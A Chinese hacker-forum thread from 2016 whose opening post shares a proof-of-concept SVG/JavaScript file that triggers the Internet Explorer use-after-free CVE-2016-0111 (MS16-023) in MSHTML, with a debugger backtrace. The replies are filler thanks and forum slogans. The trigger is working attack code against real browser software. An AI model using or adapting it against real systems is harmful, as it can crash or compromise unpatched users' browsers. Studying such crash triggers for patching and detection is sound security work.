请选择 进入手机版 | 继续访问电脑版
查看: 14407|回复: 2825

[Windows] MS16-023(CVE: 2016-0111)

[复制链接]
  • TA的每日心情

    2020-9-23 11:29
  • 签到天数: 903 天

    [LV.10]以坛为家III

    发表于 2016-4-11 16:36:25 | 显示全部楼层 |阅读模式
    CVE: 2016-0111

    Internet Explorer - MSHTML!CSVGHelpers::SetAttributeStringAndPointer Use-After-Free

    poc

    [HTML] 纯文本查看 复制代码
    <svg xmlns="http://www.w3.org/2000/svg" xlink="http://www.w3.org/1999/xlink">
    <pattern id="outer"><rect id="rect"><pattern id="inner"></pattern></rect></pattern>
    <script><![CDATA[
      function handler() {
        inner.setAttribute("viewBox");
      }
      outer.addEventListener("DOMAttrModified", function () { handler(); });
      doc = document.implementation.createDocument("", "", null);
      doc.adoptNode(rect.attributes[0]);
    ]]></script>
    </svg>
      
    <!--
    Backtrace for reference:
      
    2:052:x86> k 10
    ChildEBP RetAddr
    WARNING: Stack unwind information not available. Following frames may be wrong.
    0bb14b64 6ad180b8 vrfcore!VerifierStopMessageEx+0x571
    0bb14b88 67fec434 vrfcore!VerifierDisableVerifier+0x748
    0bb14bdc 67fea3dc verifier_67fe0000!VerifierStopMessage+0x74
    0bb14c40 67fe733d verifier_67fe0000!AVrfpDphReportCorruptedBlock+0x10c
    0bb14ca4 67fe7495 verifier_67fe0000!AVrfpDphFindBusyMemoryNoCheck+0x7d
    0bb14cc8 67feb651 verifier_67fe0000!AVrfpDphFindBusyMemory+0x15
    0bb14ce0 67ff0b12 verifier_67fe0000!AvrfpDphCheckPageHeapAllocation+0x41
    0bb14cf0 67f93246 verifier_67fe0000!VerifierCheckPageHeapAllocation+0x12
    0bb14d4c 60dca53f vfbasics+0x13246
    0bb14d68 604cce4e MSHTML!MemoryProtection::HeapFree+0x46
    0bb14d70 60b07866 MSHTML!ProcessHeapFree+0x10
    0bb14d88 60baac6b MSHTML!CSVGHelpers::SetAttributeStringAndPointer<CRectF,CSVGRe
    ct>+0xb6
    0bb14de8 60e18b69 MSHTML!PROPERTYDESC::HandleStringProperty+0x110
    0bb14e14 607e30e6 MSHTML!PROPERTYDESC::CallHandler+0x855996
    0bb14e54 60b83323 MSHTML!CElement::SetAttributeFromPropDesc+0xbe
    0bb14ee4 607e2f44 MSHTML!CElement::ie9_setAttributeNSInternal+0x2ee
    -->
    回复

    使用道具 举报

    该用户从未签到

    发表于 2016-4-11 18:05:12 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-4-11 18:34:42 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-4-11 18:57:15 | 显示全部楼层
    谢谢楼主的分享
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-4-11 20:33:06 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-4-11 22:46:07 | 显示全部楼层
    谢谢楼主的分享
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-4-11 22:58:31 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-4-11 23:25:34 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-4-11 23:39:13 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-4-12 00:07:33 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表